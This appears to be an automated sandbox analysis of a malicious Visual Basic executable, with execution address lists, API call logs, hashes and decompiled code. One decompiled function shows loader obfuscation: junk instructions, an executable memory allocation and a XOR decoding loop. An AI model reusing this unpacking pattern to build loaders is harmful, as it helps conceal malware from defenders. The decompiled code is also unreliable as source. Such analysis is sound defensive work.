        0x0040ae88
        0x0040ae8c
        0x0040ae91
        0x0040aeac
        0x0040aeb2
        0x0040aeb4
        0x0040aec1
        0x0040aee6
        0x0040aee6
        0x0040aee6
        0x0040aec3
        0x0040aec3
        0x0040aec8
        0x0040aecd
        0x0040aed3
        0x0040aed9
        0x0040aede
        0x0040aede
        0x0040aef3
        0x0040aefc
        0x0040af02
        0x0040af0c
        0x0040af0f
        0x0040af1d
        0x0040af2f
        0x0040af3e
        0x0040af47
        0x0040af4b
        0x0040af4c
        0x0040af4e
        0x0040af53
        0x0040af59
        0x0040af65
        0x0040af82
        0x0040af67
        0x0040af67
        0x0040af6c
        0x0040af71
        0x0040af76
        0x0040af76
        0x0040afa6
        0x0040afaa
        0x0040afaf
        0x0040afc7
        0x0040afcd
        0x0040afcf
        0x0040afdc
        0x0040b001
        0x0040b001
        0x0040b001
        0x0040afde
        0x0040afde
        0x0040afe3
        0x0040afe8
        0x0040afee
        0x0040aff4
        0x0040aff9
        0x0040aff9
        0x0040b00b
        0x0040b011
        0x0040b01b
        0x0040b01e
        0x0040b025
        0x0040b02f
        0x0040b05d
        0x0040b06c
        0x0040b074
        0x0040b07c
        0x0040b090
        0x0040b096
        0x0040b0a3
        0x0040b0c5
        0x0040b0c5
        0x0040b0c5
        0x0040b0a5
        0x0040b0a5
        0x0040b0aa
        0x0040b0af
        0x0040b0b2
        0x0040b0b8
        0x0040b0bd
        0x0040b0bd
        0x0040b0d2
        0x0040b0dc
        0x0040b0f9
        0x0040b0de
        0x0040b0de
        0x0040b0e3
        0x0040b0e8
        0x0040b0ed
        0x0040b0ed
        0x0040b11d
        0x0040b121
        0x0040b126
        0x0040b141
        0x0040b144
        0x0040b146
        0x0040b153
        0x0040b175
        0x0040b175
        0x0040b175
        0x0040b155
        0x0040b155
        0x0040b157
        0x0040b15c
        0x0040b162
        0x0040b168
        0x0040b16d
        0x0040b16d
        0x0040b183
        0x0040b1a0
        0x0040b185
        0x0040b185
        0x0040b18a
        0x0040b18f
        0x0040b194
        0x0040b194
        0x0040b1c4
        0x0040b1c8
        0x0040b1cd
        0x0040b1e8
        0x0040b1eb
        0x0040b1ed
        0x0040b1fa
        0x0040b21c
        0x0040b21c
        0x0040b21c
        0x0040b1fc
        0x0040b1fc
        0x0040b1fe
        0x0040b203
        0x0040b209
        0x0040b20f
        0x0040b214
        0x0040b214
        0x0040b229
        0x0040b24b
        0x0040b258
        0x0040b25f
        0x0040b263
        0x0040b264
        0x0040b266
        0x0040b26b
        0x0040b275
        0x0040b292
        0x0040b277
        0x0040b277
        0x0040b27c
        0x0040b281
        0x0040b286
        0x0040b286
        0x0040b2ac
        0x0040b2b6
        0x0040b2ba
        0x0040b2bf
        0x0040b2da
        0x0040b2dd
        0x0040b2df
        0x0040b2ec
        0x0040b30e
        0x0040b30e
        0x0040b30e
        0x0040b2ee
        0x0040b2ee
        0x0040b2f0
        0x0040b2f5
        0x0040b2fb
        0x0040b301
        0x0040b306
        0x0040b306
        0x0040b31b
        0x0040b32f
        0x0040b341
        0x0040b34d
        0x0040b353
        0x0040b360
        0x0040b366
        0x0040b368
        0x0040b375
        0x0040b397
        0x0040b397
        0x0040b397
        0x0040b377
        0x0040b377
        0x0040b37c
        0x0040b381
        0x0040b384
        0x0040b38a
        0x0040b38f
        0x0040b38f
        0x0040b39e
        0x0040b3a8
        0x0040b3b2
        0x0040b3ca
        0x0040b3e0
        0x0040b3fd
        0x0040b3e2
        0x0040b3e2
        0x0040b3e7
        0x0040b3ec
        0x0040b3f1
        0x0040b3f1
        0x0040b421
        0x0040b425
        0x0040b42a
        0x0040b442
        0x0040b448
        0x0040b44a
        0x0040b457
        0x0040b47c
        0x0040b47c
        0x0040b47c
        0x0040b459
        0x0040b459
        0x0040b45e
        0x0040b463
        0x0040b469
        0x0040b46f
        0x0040b474
        0x0040b474
        0x0040b48a
        0x0040b4a7
        0x0040b48c
        0x0040b48c
        0x0040b491
        0x0040b496
        0x0040b49b
        0x0040b49b
        0x0040b4cb
        0x0040b4cf
        0x0040b4d4
        0x0040b4ef
        0x0040b4f5
        0x0040b4f7
        0x0040b504
        0x0040b529
        0x0040b529
        0x0040b529
        0x0040b506
        0x0040b506
        0x0040b50b
        0x0040b510
        0x0040b516
        0x0040b51c
        0x0040b521
        0x0040b521
        0x0040b537
        0x0040b554
        0x0040b539
        0x0040b539
        0x0040b53e
        0x0040b543
        0x0040b548
        0x0040b548
        0x0040b56e
        0x0040b578
        0x0040b57c
        0x0040b581
        0x0040b59c
        0x0040b5a2
        0x0040b5a4
        0x0040b5b1
        0x0040b5d6
        0x0040b5d6
        0x0040b5d6
        0x0040b5b3
        0x0040b5b3
        0x0040b5b8
        0x0040b5bd
        0x0040b5c3
        0x0040b5c9
        0x0040b5ce
        0x0040b5ce
        0x0040b5e3
        0x0040b5e9
        0x0040b5f6
        0x0040b5fc
        0x0040b606
        0x0040b609
        0x0040b610
        0x0040b62f
        0x0040b635
        0x0040b642
        0x0040b643
        0x0040b644
        0x0040b645
        0x0040b649
        0x0040b64e
        0x0040b651
        0x0040b653
        0x0040b654
        0x0040b655
        0x0040b656
        0x0040b666
        0x0040b66c
        0x0040b679
        0x0040b69b
        0x0040b69b
        0x0040b69b
        0x0040b67b
        0x0040b67b
        0x0040b680
        0x0040b685
        0x0040b688
        0x0040b68e
        0x0040b693
        0x0040b693
        0x0040b6a8
        0x0040b6ae
        0x0040b6b2
        0x0040b6b6
        0x0040b6b7
        0x0040b6b9
        0x0040b6be
        0x0040b6c4
        0x0040b6d0
        0x0040b6ed
        0x0040b6d2
        0x0040b6d2
        0x0040b6d7
        0x0040b6dc
        0x0040b6e1
        0x0040b6e1
        0x0040b707
        0x0040b711
        0x0040b715
        0x0040b71a
        0x0040b735
        0x0040b738
        0x0040b73a
        0x0040b747
        0x0040b769
        0x0040b769
        0x0040b769
        0x0040b749
        0x0040b749
        0x0040b74b
        0x0040b750
        0x0040b756
        0x0040b75c
        0x0040b761
        0x0040b761
        0x0040b776
        0x0040b77c
        0x0040b786
        0x0040b7a3
        0x0040b7b5
        0x0040b7bb
        0x0040b7c8
        0x0040b7ea
        0x0040b7ea
        0x0040b7ea
        0x0040b7ca
        0x0040b7ca
        0x0040b7cf
        0x0040b7d4
        0x0040b7d7
        0x0040b7dd
        0x0040b7e2
        0x0040b7e2
        0x0040b7f1
        0x0040b7f4
        0x0040b7f9
        0x0040b803
        0x0040b80d
        0x0040b817
        0x0040b83e
        0x0040b844
        0x0040b851
        0x0040b873
        0x0040b873
        0x0040b873
        0x0040b853
        0x0040b853
        0x0040b858
        0x0040b85d
        0x0040b860
        0x0040b866
        0x0040b86b
        0x0040b86b
        0x0040b880
        0x0040b889
        0x0040b3bb
        0x0040b3c1
        0x0040b923
        0x0040b92b
        0x0040b92c
        0x0040b92d
        0x0040b938
        0x0040b939
        0x0040b942
        0x0040b943
        0x0040b948
        0x0040b949
        0x0040b94a
        0x0040b94b
        0x0040b94e
        0x0040b95b
        0x0040b960
        0x0040b962
        0x0040b967
        0x0040b96c
        0x0040b972
        0x0040b974
        0x0040b975
        0x0040b97b
        0x0040b982
        0x0040b99c
        0x0040b984
        0x0040b984
        0x0040b989
        0x0040b98e
        0x0040b993
        0x0040b993
        0x0040b9a6
        0x0040b9a8
        0x0040b9b8
        0x0040b9be
        0x0040b9c2
        0x0040b9d0
        0x0040b9d3
        0x0040b9d5
        0x0040b9d8
        0x0040b9dc
        0x0040b9f5
        0x0040b9f5
        0x0040b9f5
        0x0040b9de
        0x0040b9de
        0x0040b9e0
        0x0040b9e5
        0x0040b9e8
        0x0040b9eb
        0x0040b9f0
        0x0040b9f0
        0x0040b9fc
        0x0040b9fc
        0x0040ba01
        0x0040ba02
        0x0040ba15
        0x0040ba1d
        0x0040ba22
        0x0040b3c7
        0x0040b3c7
        0x00000000
        0x0040b3c7
        0x00000000
        0x0040b3c1
        0x0040b89e
        0x0040b8a0
        0x0040b8f0
        0x0040b8f3
        0x0040b8f4
        0x0040b8f6
        0x0040b8fe
        0x0040b903
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,00401196), ref: 0040AA12
        • __vbaVarDup.MSVBVM60 ref: 0040AA5E
        • #544.MSVBVM60(?,?), ref: 0040AA6E
        • __vbaVarTstNe.MSVBVM60(00008002,?,?,?,?,?), ref: 0040AA95
        • __vbaFreeVarList.MSVBVM60(00000002,?,?,00008002,?,?,?,?,?), ref: 0040AAAE
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?,00401196), ref: 0040AAD8
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040AB11
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401CC4,00000108), ref: 0040AB5B
        • __vbaNew2.MSVBVM60(00401CF4,0040D33C), ref: 0040AB82
        • __vbaChkstk.MSVBVM60(?), ref: 0040ABE6
        • __vbaChkstk.MSVBVM60(?), ref: 0040ABF7
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401CE4,00000038), ref: 0040AC3D
        • __vbaVar2Vec.MSVBVM60(?,?), ref: 0040AC5F
        • __vbaAryMove.MSVBVM60(?,?,?,?), ref: 0040AC6F
        • __vbaFreeObj.MSVBVM60(?,?,?,?), ref: 0040AC77
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?,00401196), ref: 0040ACA4
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040ACDD
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D04,00000158), ref: 0040AD27
        • __vbaFreeStr.MSVBVM60 ref: 0040AD89
        • __vbaFreeObj.MSVBVM60 ref: 0040AD91
        • __vbaNew2.MSVBVM60(00401F24,0040D010), ref: 0040ADA9
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040ADE2
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D04,000000F8), ref: 0040AE2C
        • __vbaNew2.MSVBVM60(00401F24,0040D010), ref: 0040AE53
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$New2$CheckFreeHresult$Chkstk$#544ListMoveVar2
        • String ID: 19:19:19
        • API String ID: 1310212564-362381601
        • Opcode ID: 7faec3de7387d638f9f88bd234338e031b2ba2ed99126efab6a103d57f3b4eed
        • Instruction ID: f556bd6223820c688fdedd7e289838377991e0b9ac9451e93ea0514c694c0a1f
        • Opcode Fuzzy Hash: 7faec3de7387d638f9f88bd234338e031b2ba2ed99126efab6a103d57f3b4eed
        • Instruction Fuzzy Hash: E682D374940219EFDB20DF90CC45FDDB7B8BB08304F1085EAE509BB2A1DB795A859F98
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 95%
        			E00409728(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
        				void* _t25;
        				void* _t27;
        				void* _t29;
        				signed int _t32;
        				void* _t34;
        
        				_t34 = __esi;
        				_t29 = __edx;
        				_t25 = __ebx;
        				asm("aam 0xc7");
        				_t32 = __edi + 1;
        				if(_t32 == 0) {
        					while(1) {
        						 *0xFFFFFFFFD79CB0A0 =  ~( *0xFFFFFFFFD79CB0A0);
        						_pop(_t27);
        						asm("loopne 0x7a");
        						asm("cmpsb");
        						asm("out dx, al");
        						asm("out dx, al");
        						asm("outsb");
        						if( *0xFFFFFFFFD79CB00D >= _t32) {
        							break;
        						}
        						_t29 = 0x59;
        						_t32 =  *(_t27 - 0x28634f96) * 0xffffff90;
        					}
        					asm("sbb [ecx], al");
        					asm("sbb edi, [ebp+0x6a1e81b4]");
        					 *(_t25 +  *((intOrPtr*)(_t25 + (_t29 + 0x24) * 8)) + 0x11) =  *(_t25 +  *((intOrPtr*)(_t25 + (_t29 + 0x24) * 8)) + 0x11) | _t26;
        					return _t34;
        				} else {
        					__dl = __dl -  *((intOrPtr*)(__esi + 0x30));
        					_pop(__ecx);
        					__si = __si;
        					__dx = __dx;
        					__bx = __bx;
        					__edx = __edx;
        					__edx = __edx;
        					__di = __di;
        					__ecx = 0x531b408;
        					do {
        						__ebx = __ebx;
        						__edi = __edi;
        						__eax = __eax;
        						__dx = __dx;
        						__esi = __esi;
        						__bx = __bx;
        						__di = __di;
        						__ebx = __ebx;
        						__di = __di;
        						__edx = __edx;
        						__bx = __bx;
        						__ax = __ax;
        						__bx = __bx;
        						__bx = __bx;
        						__di = __di;
        						__ecx = __ecx;
        						__ecx = __ecx;
        						__ax = __ax;
        						__esi = __esi;
        						__edx = __edx;
        						__ecx = __ecx;
        						__ax = __ax;
        						__ebx = __ebx;
        						__bx = __bx;
        						__ebx = __ebx;
        						__esi = __esi;
        						__si = __si;
        						__eax = __eax;
        						__cx = __cx;
        						__ax = __ax;
        						__esi = __esi;
        						__cx = __cx;
        						__ecx = __ecx;
        						__si = __si;
        						__di = __di;
        						__eax = __eax;
        						__ecx = __ecx;
        						__ecx = __ecx - 1;
        						__ecx = __ecx;
        						__cx = __cx;
        						__eax = __eax;
        						__esi = __esi;
        						__eax = __eax;
        						__eax = __eax;
        						__edi = __edi;
        					} while (__ecx != 1);
        					__eax = __eax;
        					__edi = __edi;
        					__ax = __ax;
        					__ax = __ax;
        					__cx = __cx;
        					__ebx = __ebx;
        					__edi = 0x8cb098;
        					__di = __di;
        					__si = __si;
        					__cx = __cx;
        					__ebx = __ebx;
        					__cx = __cx;
        					__di = __di;
        					__dx = __dx;
        					__edi = 0x9a73c4;
        					__ax = __ax;
        					__eax = __eax;
        					__cx = __cx;
        					__esi = __esi;
        					__cx = __cx;
        					__edi = 0x9a73c4;
        					__ecx = __ecx;
        					0x9a73c4 = 0x8e9ddf;
        					__bx = __bx;
        					__dx = __dx;
        					__edx = __edx;
        					__ecx = __ecx;
        					__di = __di;
        					__bx = __bx;
        					__ecx = __ecx;
        					__si = __si;
        					__edi = 0xb5270e;
        					__eax = __eax;
        					__cx = __cx;
        					__si = __si;
        					__ecx = __ecx;
        					__cx = __cx;
        					__eax = __eax;
        					__esi = __esi;
        					__eax = __eax;
        					__edi = 0x3fffff;
        					__esi = __esi;
        					__ebx = __ebx;
        					__eax = __eax;
        					__edi = 0x3fffff;
        					__ax = __ax;
        					__ax = __ax;
        					__edx = __edx;
        					__ebx = __ebx;
        					__di = __di;
        					__edx = __edx;
        					__bx = __bx;
        					__eax = __eax;
        					__bx = __bx;
        					__si = __si;
        					__edi = 0x3fffff + __ecx;
        					__esi = __esi;
        					__si = __si;
        					__esi = __esi;
        					__bx = __bx;
        					__edx = __edx;
        					__ax = __ax;
        					__esi = __esi;
        					__ebx =  *0x8cb098;
        					__si = __si;
        					__ax = __ax;
        					__ax = __ax;
        					__cx = __cx;
        					__ebx =  *0x8cb098;
        					0x2a32 = 0x2a32;
        					__esi = __esi;
        					__edi = __edi;
        					__esi = __esi;
        					__dx = __dx;
        					__edi = __edi;
        					__ecx = 0x1f5d;
        					__ebx =  *0x8cb098;
        					__esi = __esi;
        					__cx = __cx;
        					__bx = __bx;
        					__cx = __cx;
        					__cx = __cx;
        					0x1f5d = 0x1cdd;
        					__edx = __edx;
        					__di = __di;
        					__esi = __esi;
        					__ebx =  *0x8cb098;
        					__cx = __cx;
        					__ecx = 0x1ece;
        					__ax = __ax;
        					__edi = __edi;
        					__ax = __ax;
        					__dx = __dx;
        					__ebx =  *0x8cb098;
        					__eax = __eax;
        					__edi = __edi;
        					__ecx = 0x1000;
        					__edi = __edi;
        					__bx = __bx;
        					__edi = __edi;
        					__cx = __cx;
        					__si = __si;
        					__di = __di;
        					__si = __si;
        					__eax = __eax;
        					__edi = __edi;
        					__eax =  *0x008CDACA;
        					__bx = __bx;
        					__esi = __esi;
        					__cx = __cx;
        					__ecx = 0x1000;
        					__dx = __dx;
        					do {
        						__eax = __eax - 1;
        						__di = __di;
        						__bx = __bx;
        						__bx = __bx;
        						__ax = __ax;
        						__bx = __bx;
        						__bx = __bx;
        						asm("emms");
        						__ecx = __ecx;
        						__bx = __bx;
        						__esi = __esi;
        						__cx = __cx;
        						__si = __si;
        						_push( *__eax);
        						__ebx = __ebx;
        						__esi = __esi;
        						__cx = __cx;
        						__esi = __esi;
        						__ebx = __ebx;
        						__edi = __edi;
        						__edi = __edi;
        						_pop(__ecx);
        						__ebx = __ebx;
        						__esi = __esi;
        						__di = __di;
        						__esi = __esi;
        						__ax = __ax;
        						__dx = __dx;
        						__ax = __ax;
        					} while (__ecx != __ebx);
        					__edx = __edx;
        					__edi = __edi;
        					__si = __si;
        					__esi = __esi;
        					__ecx = __ecx;
        					__ebx = 0xffffe682;
        					__cx = __cx;
        					__ax = __ax;
        					__esi = __esi;
        					__eax = __eax;
        					__ebx = 0xfffffffffffff5a3;
        					__eax = __eax;
        					__di = __di;
        					__edi = __edi;
        					__eax = __eax;
        					__eax = __eax;
        					__di = __di;
        					__cx = __cx;
        					__bx = __bx;
        					__ebx = 0x16fc;
        					__dx = __dx;
        					__eax = __eax;
        					__ax = __ax;
        					__di = __di;
        					__cx = __cx;
        					__esi = __esi;
        					__cx = __cx;
        					__ax = __ax;
        					__ax = __ax;
        					__ecx = __ecx;
        					__ebx = 0x9ce;
        					__esi = __esi;
        					__ebx = 0x10cc;
        					__edi = __edi;
        					__ax = __ax;
        					__edx = __edx;
        					__ebx = 0x10cc;
        					__edx = __edx;
        					__edx = __edx;
        					__edi = __edi;
        					__dx = __dx;
        					__di = __di;
        					__ax = __ax;
        					__cx = __cx;
        					__ax = __ax;
        					__esi = __esi;
        					__ebx =  *((intOrPtr*)(__eax + 0x10cc));
        					__eax = __eax;
        					__eax = __eax;
        					__di = __di;
        					__edi = __edi;
        					__eax = __eax;
        					__di = __di;
        					__di = __di;
        					__edx = __edx;
        					__ebx = __ebx;
        					__dx = __dx;
        					__si = __si;
        					__cx = __cx;
        					__ebx = __ebx;
        					__edx = __edx;
        					__eax = __eax;
        					__dx = __dx;
        					__ax = __ax;
        					__edi = __edi;
        					__cx = __cx;
        					__esi = __esi;
        					__bx = __bx;
        					__edx =  *__esp;
        					__ax = __ax;
        					__di = __di;
        					__ecx = __ecx;
        					__bx = __bx;
        					__esi = __esi;
        					__edx =  *__esp;
        					__edx = 0;
        					__si = __si;
        					__edi = __edi;
        					__ebx = __ebx;
        					__di = __di;
        					__eax = __eax;
        					__cx = __cx;
        					__edi = __edi;
        					__edi = __edi;
        					__esi = __esi;
        					__esi = __esi;
        					__esi = __esi; // executed
        					__eax = VirtualAlloc(0, 0xc000, 0x1000, 0x40); // executed
        					__si = __si;
        					__si = __si;
        					__ax = __ax;
        					__eax = __eax;
        					__ecx = __ecx;
        					__edi = __edi;
        					__di = __di;
        					__edx = __edx;
        					__bx = __bx;
        					__si = __si;
        					__cx = __cx;
        					__bx = __bx;
        					__eax = __eax;
        					__ebx = __ebx;
        					__edx = 0;
        					__edx = __edx;
        					__ax = __ax;
        					__esi = __esi;
        					__eax = __eax;
        					__edx = __edx;
        					__dx = __dx;
        					__edi = __edi;
        					__edx = __edx | 0x0040272e;
        					__ebx = __ebx;
        					__edi = __edi;
        					__edx = __edx;
        					__si = __si;
        					__edi = __edi;
        					__ebx = __ebx;
        					__cx = __cx;
        					__edx = __edx;
        					__ebp = 0x7404;
        					__bx = __bx;
        					__edi = __edi;
        					__di = __di;
        					__edx = __edx;
        					__ebx = __ebx;
        					__cx = __cx;
        					do {
        						__ebx = __ebx;
        						__esi = __esi;
        						__edx = __edx;
        						__ecx = __ecx;
        						__dx = __dx;
        						__edx = __edx;
        						__esi = __esi;
        						__dx = __dx;
        						__ecx = __ecx;
        						__di = __di;
        						__edi = __edi;
        						__ax = __ax;
        						__cx = __cx;
        						__ebx = 0 +  *((intOrPtr*)(__edx + __ebp));
        						__edx = __edx;
        						__dx = __dx;
        						__cx = __cx;
        						__di = __di;
        						__ecx = __ecx;
        						__di = __di;
        						__bx = __bx;
        						_push(0);
        						__ecx = __ecx;
        						__di = __di;
        						__si = __si;
        						__ax = __ax;
        						__eax = __eax;
        						_pop( *_t15);
        						__ebx = __ebx;
        						__ecx = __ecx;
        						__esi = __esi;
        						__ecx = __ecx;
        						__cx = __cx;
        						__cx = __cx;
        						 *(__eax + __ebp) =  *(__eax + __ebp) ^ 0x3c8ba6b2;
        						__eax = __eax;
        						__bx = __bx;
        						__bx = __bx;
        						__ax = __ax;
        						__bx = __bx;
        						__bx = __bx;
        						__ebx = __ebx;
        						__ebp = __ebp - 0xc;
        						__ebx = __ebx;
        						__si = __si;
        						__cx = __cx;
        						__edi = __edi;
        						__bx = __bx;
        						__ebp = __ebp + 8;
        					} while (__ebp >= 0);
        					__si = __si;
        					__cx = __cx;
        					__si = __si;
        					__bx = __bx;
        					__edi = __edi;
        					_push(__eax);
        					__ax = __ax;
        					__esi = __esi;
        					__di = __di;
        					__edx = __edx;
        					__ax = __ax;
        					return __eax;
        				}
        			}








        0x00409728
        0x00409728
        0x00409728
        0x0040972d
        0x0040972f
        0x00409730
        0x004096f5
        0x004096fb
        0x004096fe
        0x004096ff
        0x00409702
        0x00409703
        0x00409704
        0x00409705
        0x00409709
        0x00000000
        0x00000000
        0x004096f2
        0x004096f4
        0x004096f4
        0x00409713
        0x00409715
        0x00409720
        0x00409723
        0x00409732
        0x00409732
        0x00409735
        0x00409736
        0x0040973a
        0x0040973e
        0x00409742
        0x00409745
        0x00409748
        0x0040974c
        0x00409751
        0x00409751
        0x00409754
        0x00409757
        0x0040975a
        0x0040975e
        0x00409761
        0x00409765
        0x00409769
        0x0040976c
        0x00409770
        0x00409773
        0x00409777
        0x0040977b
        0x0040977f
        0x00409783
        0x00409787
        0x0040978a
        0x0040978d
        0x00409791
        0x00409794
        0x00409797
        0x0040979a
        0x0040979e
        0x004097a1
        0x004097a5
        0x004097a8
        0x004097ab
        0x004097af
        0x004097b2
        0x004097b6
        0x004097ba
        0x004097bd
        0x004097c1
        0x004097c4
        0x004097c8
        0x004097cc
        0x004097cf
        0x004097d2
        0x004097d3
        0x004097d6
        0x004097da
        0x004097dd
        0x004097e0
        0x004097e3
        0x004097e6
        0x004097e9
        0x004097f2
        0x004097f5
        0x004097f8
        0x004097fc
        0x00409800
        0x00409804
        0x00409807
        0x0040980c
        0x00409810
        0x00409814
        0x00409818
        0x0040981b
        0x0040981f
        0x00409823
        0x00409827
        0x0040982d
        0x00409831
        0x00409834
        0x00409838
        0x0040983b
        0x0040983f
        0x00409842
        0x00409848
        0x0040984e
        0x00409852
        0x00409856
        0x00409859
        0x0040985c
        0x00409860
        0x00409864
        0x00409867
        0x0040986b
        0x00409871
        0x00409874
        0x00409878
        0x0040987c
        0x0040987f
        0x00409883
        0x00409886
        0x00409889
        0x0040988c
        0x00409892
        0x00409895
        0x00409898
        0x0040989b
        0x0040989e
        0x004098a2
        0x004098a6
        0x004098a9
        0x004098ac
        0x004098b0
        0x004098b3
        0x004098b7
        0x004098ba
        0x004098be
        0x004098c2
        0x004098c4
        0x004098c7
        0x004098cb
        0x004098ce
        0x004098d2
        0x004098d5
        0x004098d9
        0x004098dc
        0x004098de
        0x004098e2
        0x004098e6
        0x004098ea
        0x004098ee
        0x004098f6
        0x004098f9
        0x004098fc
        0x004098ff
        0x00409902
        0x00409906
        0x00409909
        0x0040990f
        0x00409912
        0x00409915
        0x00409919
        0x0040991d
        0x00409921
        0x00409928
        0x0040992e
        0x00409931
        0x00409935
        0x00409938
        0x0040993b
        0x0040993f
        0x00409945
        0x00409949
        0x0040994c
        0x00409950
        0x00409954
        0x00409957
        0x0040995a
        0x0040995d
        0x00409963
        0x00409966
        0x0040996a
        0x0040996d
        0x00409971
        0x00409975
        0x00409979
        0x00409980
        0x00409983
        0x00409986
        0x00409989
        0x0040998d
        0x00409990
        0x00409994
        0x00409997
        0x0040999b
        0x0040999b
        0x0040999e
        0x004099a2
        0x004099a6
        0x004099aa
        0x004099ae
        0x004099b2
        0x004099b6
        0x004099b8
        0x004099bb
        0x004099bf
        0x004099c2
        0x004099c6
        0x004099ca
        0x004099cc
        0x004099cf
        0x004099d2
        0x004099d6
        0x004099d9
        0x004099dc
        0x004099df
        0x004099e2
        0x004099e3
        0x004099e6
        0x004099e9
        0x004099ed
        0x004099f0
        0x004099f4
        0x004099f8
        0x004099fc
        0x00409a00
        0x00409a03
        0x00409a06
        0x00409a0a
        0x00409a0d
        0x00409a10
        0x00409a15
        0x00409a19
        0x00409a23
        0x00409a26
        0x00409a29
        0x00409a2f
        0x00409a32
        0x00409a36
        0x00409a39
        0x00409a3c
        0x00409a3f
        0x00409a43
        0x00409a47
        0x00409a4b
        0x00409a51
        0x00409a55
        0x00409a58
        0x00409a5c
        0x00409a60
        0x00409a6a
        0x00409a76
        0x00409a7a
        0x00409a7e
        0x00409a82
        0x00409a85
        0x00409a88
        0x00409a8b
        0x00409a91
        0x00409a94
        0x00409a98
        0x00409a9b
        0x00409a9e
        0x00409aa1
        0x00409aa4
        0x00409aa7
        0x00409aab
        0x00409aaf
        0x00409ab3
        0x00409ab7
        0x00409ac1
        0x00409ac4
        0x00409ac7
        0x00409aca
        0x00409acd
        0x00409ad1
        0x00409ad4
        0x00409ad9
        0x00409add
        0x00409ae1
        0x00409ae4
        0x00409ae7
        0x00409af0
        0x00409af4
        0x00409af8
        0x00409afb
        0x00409afe
        0x00409b01
        0x00409b0a
        0x00409b0e
        0x00409b11
        0x00409b15
        0x00409b18
        0x00409b1c
        0x00409b1f
        0x00409b23
        0x00409b27
        0x00409b2a
        0x00409b2e
        0x00409b31
        0x00409b34
        0x00409b36
        0x00409b3a
        0x00409b3d
        0x00409b40
        0x00409b47
        0x00409b4a
        0x00409b4f
        0x00409b52
        0x00409b55
        0x00409b58
        0x00409b5b
        0x00409b5e
        0x00409b60
        0x00409b64
        0x00409b68
        0x00409b6c
        0x00409b6f
        0x00409b72
        0x00409b75
        0x00409b79
        0x00409b7e
        0x00409b82
        0x00409b86
        0x00409b8a
        0x00409b8e
        0x00409b91
        0x00409b94
        0x00409b95
        0x00409b98
        0x00409b9c
        0x00409b9f
        0x00409ba2
        0x00409ba5
        0x00409ba9
        0x00409bac
        0x00409bb2
        0x00409bb5
        0x00409bb8
        0x00409bbb
        0x00409bbf
        0x00409bc2
        0x00409bc5
        0x00409bc9
        0x00409bcc
        0x00409bd1
        0x00409bd5
        0x00409bd8
        0x00409bdc
        0x00409bdf
        0x00409be2
        0x00409be6
        0x00409be6
        0x00409be9
        0x00409bec
        0x00409bef
        0x00409bf2
        0x00409bf6
        0x00409bfe
        0x00409c01
        0x00409c05
        0x00409c08
        0x00409c0c
        0x00409c0f
        0x00409c13
        0x00409c17
        0x00409c1a
        0x00409c1d
        0x00409c21
        0x00409c25
        0x00409c29
        0x00409c2c
        0x00409c30
        0x00409c34
        0x00409c35
        0x00409c38
        0x00409c3c
        0x00409c40
        0x00409c44
        0x00409c47
        0x00409c4a
        0x00409c4d
        0x00409c50
        0x00409c53
        0x00409c56
        0x00409c5a
        0x00409c5e
        0x00409c65
        0x00409c68
        0x00409c6c
        0x00409c70
        0x00409c74
        0x00409c78
        0x00409c7c
        0x00409c7f
        0x00409c82
        0x00409c85
        0x00409c89
        0x00409c8d
        0x00409c90
        0x00409c94
        0x00409c94
        0x00409c9d
        0x00409ca1
        0x00409ca5
        0x00409ca9
        0x00409cb0
        0x00409cb3
        0x00409cb4
        0x00409cb8
        0x00409cbb
        0x00409cbf
        0x00409cc2
        0x00409cc6
        0x00409cc6

        APIs
        • VirtualAlloc.KERNELBASE(?,0000C000,00001000,00000040), ref: 00409B5E
        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: fac2611de86ce6b12cc3865e151b22f34f58e2a9315700352d0afd6cefa4c5a4
        • Instruction ID: 198d77dbeffe05f2ce64612b2698c4cd63d6cf55eddadcb15f7377b8858a98b4
        • Opcode Fuzzy Hash: fac2611de86ce6b12cc3865e151b22f34f58e2a9315700352d0afd6cefa4c5a4
        • Instruction Fuzzy Hash: F0D13DDFE51A1207F7442A39FE6D3DB1BDAC7707ABE1B46354E0966ECBA42E4B060044
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 100%
        			E004096E3(void* __ebx, void* __ecx, void* __edx, void* __edi) {
        				void* _t33;
        				void* _t35;
        
        				_t35 = __ecx;
        				_t33 = __ebx;
        			}





        0x004096e3
        0x004096e3

        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: 1f3ffc507fe38a4150340296c8ebca41dc0e2364c30b266988c63b6d20f13836
        • Instruction ID: b021270e261b78658a712938ebe5bbeb1cbe5ca16ddbfb528f182a2e2b9b8445
        • Opcode Fuzzy Hash: 1f3ffc507fe38a4150340296c8ebca41dc0e2364c30b266988c63b6d20f13836
